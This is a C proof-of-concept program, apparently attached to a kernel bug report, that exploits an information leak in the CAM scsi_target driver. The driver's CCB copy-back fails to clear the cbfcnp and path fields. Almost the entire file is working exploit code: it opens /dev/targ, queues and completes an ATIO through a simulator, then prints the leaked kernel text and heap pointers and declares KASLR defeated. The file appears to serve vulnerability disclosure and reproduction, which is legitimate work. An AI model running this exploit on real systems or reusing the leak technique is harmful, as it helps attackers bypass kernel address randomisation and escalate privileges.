DF-2286 / poc2286.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 | /* * DF-2286 PoC -- targreturnccb() copies [retry_count, periph_priv) of the * kernel ccb_hdr back into the daemon's user CCB without sanitizing the * kernel-only fields, leaking the kernel text pointer cbfcnp (= &targdone, * scsi_target.c:769/:1001) and the kernel heap pointer path (softc->path, * xpt_setup_ccb at :999). Sibling driver scsi_pass.c:610 explicitly * NULLs cbfcnp before the copy-back; scsi_target.c does not. * * Flow (rig: targsim fake SIM, target-capable): * open /dev/targ -> TARGIOCENABLE -> write() an ATIO (queued, held by * targsim) -> sysctl hw.targsim_complete=1 (xpt_done) -> targdone -> * user_ccb_queue -> read() hands back the user_ccb pointer; the header * slice copyout at scsi_target.c:967-969 has already written * cbfcnp/path into our struct. * * Expected markers: * "cbfcnp = 0xffff... (kernel)" -- must equal nm(kernel) targdone * "path = 0xffff... (kernel heap)" * "PASS sanitizes cbfcnp=NULL at scsi_pass.c:610; TARG does not" */ #include <stdio.h> #include <stddef.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/sysctl.h> #include <bus/cam/cam.h> #include <bus/cam/cam_ccb.h> #include <bus/cam/scsi/scsi_targetio.h> static int sysctl_int(const char *name) { int v = 0; size_t l = sizeof(v); if (sysctlbyname(name, &v, &l, NULL, 0) < 0) { fprintf(stderr, "[-] sysctl %s: %s\n", name, strerror(errno)); exit(1); } return (v); } int main(void) { struct ioc_enable_lun en; union ccb uccb; unsigned long p; uint64_t cbfcnp_v, path_v; ssize_t n; int fd, path_id; uint64_t back = 0; setvbuf(stdout, NULL, _IONBF, 0); path_id = sysctl_int("hw.targsim.path_id"); printf("DF2286: targsim bus=%d\n", path_id); fd = open("/dev/targ", O_RDWR); if (fd < 0) { printf("DF2286: open FAILED %s\n", strerror(errno)); return (1); } memset(&en, 0, sizeof(en)); en.path_id = path_id; en.target_id = 0; en.lun_id = 0; if (ioctl(fd, TARGIOCENABLE, &en) < 0) { printf("DF2286: TARGIOCENABLE FAILED %s\n", strerror(errno)); return (1); } printf("DF2286: target mode enabled\n"); /* queue an ATIO; targsim holds it */ memset(&uccb, 0, sizeof(uccb)); uccb.ccb_h.pinfo.priority = 5; uccb.ccb_h.func_code = XPT_ACCEPT_TARGET_IO; p = (unsigned long)(uintptr_t)&uccb; if (write(fd, &p, sizeof(p)) != sizeof(p)) { printf("DF2286: write ATIO FAILED %s\n", strerror(errno)); return (1); } printf("DF2286: ATIO queued (kernel cbfcnp=&targdone, path=softc->path)\n"); sleep(1); /* complete every held CCB */ { int one = 1; if (sysctlbyname("hw.targsim.complete", NULL, NULL, &one, sizeof(one)) < 0) { printf("DF2286: targsim.complete FAILED %s\n", strerror(errno)); return (1); } } sleep(1); /* read the completed CCB pointer back */ n = read(fd, &back, sizeof(back)); if (n != sizeof(back)) { printf("DF2286: read FAILED n=%zd errno=%d\n", n, errno); return (1); } printf("DF2286: read() returned user_ccb=%p (expect %p)\n", (void *)(uintptr_t)back, (void *)(uintptr_t)&uccb); size_t off_cbfcnp = __builtin_offsetof(struct ccb_hdr, cbfcnp); size_t off_path = __builtin_offsetof(struct ccb_hdr, path); memcpy(&cbfcnp_v, (char *)&uccb.ccb_h + off_cbfcnp, sizeof(cbfcnp_v)); memcpy(&path_v, (char *)&uccb.ccb_h + off_path, sizeof(path_v)); printf("DF2286: LEAKED uccb.ccb_h.cbfcnp = 0x%016llx %s\n", (unsigned long long)cbfcnp_v, (cbfcnp_v >= 0xffff800000000000ULL) ? "(KERNEL pointer)" : "?"); printf("DF2286: LEAKED uccb.ccb_h.path = 0x%016llx %s\n", (unsigned long long)path_v, (path_v >= 0xffff800000000000ULL) ? "(KERNEL heap pointer)" : "?"); printf("DF2286: user CCB func_code/status now = %#x / %#x\n", uccb.ccb_h.func_code, uccb.ccb_h.status); if (cbfcnp_v >= 0xffff800000000000ULL && path_v >= 0xffff800000000000ULL) { printf("DF2286: REPRODUCED -- kernel text pointer (targdone) " "and kernel heap pointer (cam_path) disclosed to the " "target daemon; KASLR defeated (compare nm targdone)\n"); return (0); } printf("DF2286: not reproduced\n"); return (1); } |